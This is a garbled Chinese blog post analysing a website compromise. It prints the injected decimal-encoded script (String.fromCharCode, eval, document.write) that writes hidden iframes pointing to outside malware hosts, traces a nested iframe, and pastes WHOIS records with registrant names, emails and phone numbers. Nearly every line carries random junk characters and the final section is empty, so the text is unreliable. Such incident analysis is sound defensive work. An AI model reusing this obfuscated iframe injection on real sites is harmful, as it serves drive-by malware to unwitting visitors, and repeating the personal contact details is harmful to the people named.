首发在我的博客里面，
FW bA+{8 p$cSES>r: http://www.areway.cn/?p=175 qrmJJSJ b 64~Y|8 l1qWl 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
= ,=t Sp y$e'- v <script>t=’60,105,102,114,97,109,101,
G _]
(7 32,115,114,99,61,104,116,116,112,58,47,47,
oLXQ#{([ 102,114,101,101,46,117,45,117,117,117,46,99,
D'823,-). 110,47,101,114,114,111,114,46,104,116,109,
CdRgI^5 32,119,105,100,116,104,61,49,48,48,32,104,
c*g(R.! 101,105,103,104,116,61,48,62,60,47,105,102,
]+B# SIC; 114,97,109,101,62′;
:8~*NSEFd t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
3[L)q2;}$N "K 8 <X <script>t=’60,105,102,114,97,109,101,32,115,
5b9>a5j1; 114,99,61,104,116,116,112,58,47,47,102,114,
)'RLK4l 101,101,46,117,45,117,117,117,46,99,110,47,
QDC]g.x 101,114,114,111,114,46,104,116,109,32,119,
>Cjb|f3'i} 105,100,116,104,61,49,48,48,32,104,101,105,
@: s |X 103,104,116,61,48,62,60,47,105,102,114,97,
Qx mVImn" 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
FFNv'\) document.write(t);</script>
|h,a V(Q 04wmN <html xmlns=”
y8KJoVP iM http://www.w3.org/1999/xhtml
C9q`x2 “>
| '2E'?\/x <head>
P2`!)teN <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
<, Zk9 t& <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
V}>0r+NL< <title>首页 - 爱生活家庭网
`~"l a>} "yI)F~ A 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
'%>$\Lv 转换字符串后的大概内容是（谁点击后果自付）：
~pqp ` <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
PQ2u R
*HwTq[y 查询玉米u-uuu.cn的详细信息：
=B(zW .Gf Domain Name: u-uuu.cn
l#,WMu& ROID: 20070901s10001s64972306-cn
v |XEC[F Domain Status: ok
^ 6~CA Registrant Organization: 王雷
Xa2QtJq Registrant Name: 王雷
(l.`g@(L Administrative Email:
czlovexs@126.com `bGA c&,& Sponsoring Registrar: 北京万网志成科技有限公司
sY t8NsQ Name Server:ns.yovole.com
3H%oTgWk Name Server:ns1.yovole.com
> @ulvHL Registration Date: 2007-09-01 17:54
C`D5``4 Expiration Date: 2008-09-01 17:54
uE>2 *u\ 最后PING了一下地址 都没有什么….
=J,aB p $o` N% ] 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
Zjt3U;Y <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
+[JGi"ca <script language=”javascript” src=”
pbivddi2 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script eA>O<Z1> >
'$M=H. 这个玉米应该有可能是木马作者的：
<dzE5]%\ foafau.info的详细信息：
C,w$)x5kls Access to INFO WHOIS information is provided to assist persons in
ztG_::QtG] determining the contents of a domain name registration record in the
?Ee HeN_ Afilias registry database. The data in this record is provided by
n2R{$^JxO Afilias Limited for informational purposes only, and Afilias does not
}Y5Sf"~M guarantee its accuracy. This service is intended only for query-based
gU C v#: access. You agree that you will use this data only for lawful purposes
G1Cn[F; e and that, under no circumstances will you use this data to: (a) allow,
}0T1* .Cz enable, or otherwise support the transmission by e-mail, telephone, or
f 4zd(J facsimile of mass unsolicited, commercial advertising or solicitations
=@m|g ) to entities other than the data recipient’s own existing customers; or
.h^."+TJ (b) enable high volume, automated, electronic processes that send
+EcN[-~ queries or data to the systems of Registry Operator, a Registrar, or
Od'!v & Afilias except as reasonably necessary to register domain names or
?0+D1w modify existing registrations. All rights reserved. Afilias reserves
9[|Ql the right to modify these terms at any time. By submitting this query,
Pe/cwKCI you agree to abide by this policy.
lhx6+w Domain ID:D22418703-LRMS
L^ VG ?J
Domain Name:FOAFAU.INFO
<!&&Qd-d6H Created On:20-Nov-2007 16:05:42 UTC
DL2gui3 Last Updated On:20-Nov-2007 16:05:44 UTC
JLRw`V,o7 Expiration Date:20-Nov-2008 16:05:42 UTC
NrTQ}_3) Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
:?{ **&= Status:CLIENT DELETE PROHIBITED
VuFH
>8n Status:CLIENT RENEW PROHIBITED
Fk> / Status:CLIENT TRANSFER PROHIBITED
K.] *:fd Status:CLIENT UPDATE PROHIBITED
z@$7T: H> Status:TRANSFER PROHIBITED
7vV3"uns Registrant ID:GODA-040110615
|-I[{"6q$@ Registrant Name:liu hong
Y*0%l q({H Registrant Organization:
jjkiic+tDN Registrant Street1:beijing
:a}hd^;[%8 Registrant Street2:
x<"e } Oo Registrant Street3:
&@A(8(% Registrant City:beijing
:a3Pnq$]E Registrant State/Province:
5A /G? Registrant Postal Code:100000
}@}jwi)l Registrant Country:CN
}7vX4{Yn Registrant Phone:+86.860108888777
@q2Yka Registrant Phone Ext.:
`Y/DttjL Registrant FAX:
)oa6;=go Registrant FAX Ext.:
APuG8
<R, Registrant Email:bbbshiji@163.com
B[ Uvj~g Admin ID:GODA-240110615
0W9,uC2:N Admin Name:liu hong
G6Z2[Ej1 Admin Organization:
eQno]$-\ Admin Street1:beijing
\no[ >L] Admin Street2:
'rU
[V+ Admin Street3:
[X=-x=S, Admin City:beijing
w:& m_z#M Admin State/Province:
|qJQWmJO&U Admin Postal Code:100000
cxrUk$f Admin Country:CN
3t(nV4uDF Admin Phone:+86.860108888777
:=^JHE{ Admin Phone Ext.:
%? _pSH}$! Admin FAX:
;&P%A<[` Admin FAX Ext.:
JM w1qPJQ Admin Email:bbbshiji@163.com
I1
j-Q8 Billing ID:GODA-340110615
R\MM 2_I Billing Name:liu hong
_;{n+i[ Billing Organization:
(D{Fln\ Billing Street1:beijing
k#E D#']N Billing Street2:
Q! ] Billing Street3:
8\`]T%h Billing City:beijing
4)-LlYS_d< Billing State/Province:
;p/RS# Billing Postal Code:100000
5Y"lr Y38 Billing Country:CN
>"B95$x5 Billing Phone:+86.860108888777
oKiBnj5J Billing Phone Ext.:
(J][(=s;a Billing FAX:
wnP#.[,V Billing FAX Ext.:
zhU)bb[A Billing Email:bbbshiji@163.com
c{6!}0Q 4 Tech ID:GODA-140110615
MMD4b}p Tech Name:liu hong
fC2e}WR Tech Organization:
Ej
ip%m Tech Street1:beijing
;_ ,= Tech Street2:
g ` 6Xrf Tech Street3:
6YQ&+4 Tech City:beijing
1-1x,U7w Tech State/Province:
!t{3IE Tech Postal Code:100000
7<oLe3fbM Tech Country:CN
(+38z)f Tech Phone:+86.860108888777
q*\ #H C Tech Phone Ext.:
^{_`j E Tech FAX:
0ho+Y@8 Tech FAX Ext.:
hJ>{`T w Tech Email:bbbshiji@163.com
( N~[sf?& Name Server:NS27.DOMAINCONTROL.COM
#]oVVf_ Name Server:NS28.DOMAINCONTROL.COM
=E8lpN' Name Server:
&p^ S6h Name Server:
f:G Zb?Wyd Name Server:
DHW;*A- Name Server:
~#&bDot Name Server:
*{P"u(K Name Server:
k+{ -iPm{ Name Server:
9;k_"@A6 Name Server:
n@mWB UM Name Server:
}>=k!l{ Name Server:
{^1GHU Name Server:
\ Q|1I G@oY2sM" 接着下载每个文件里面的代码：
3aQWzEnh 一步一步看..
:t8(w>oW 
=M>1;Qr<Z/ 
D%N^iJC,9 
!iWPldn&] 
iJk`{P _ 
z[ B*sbS 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
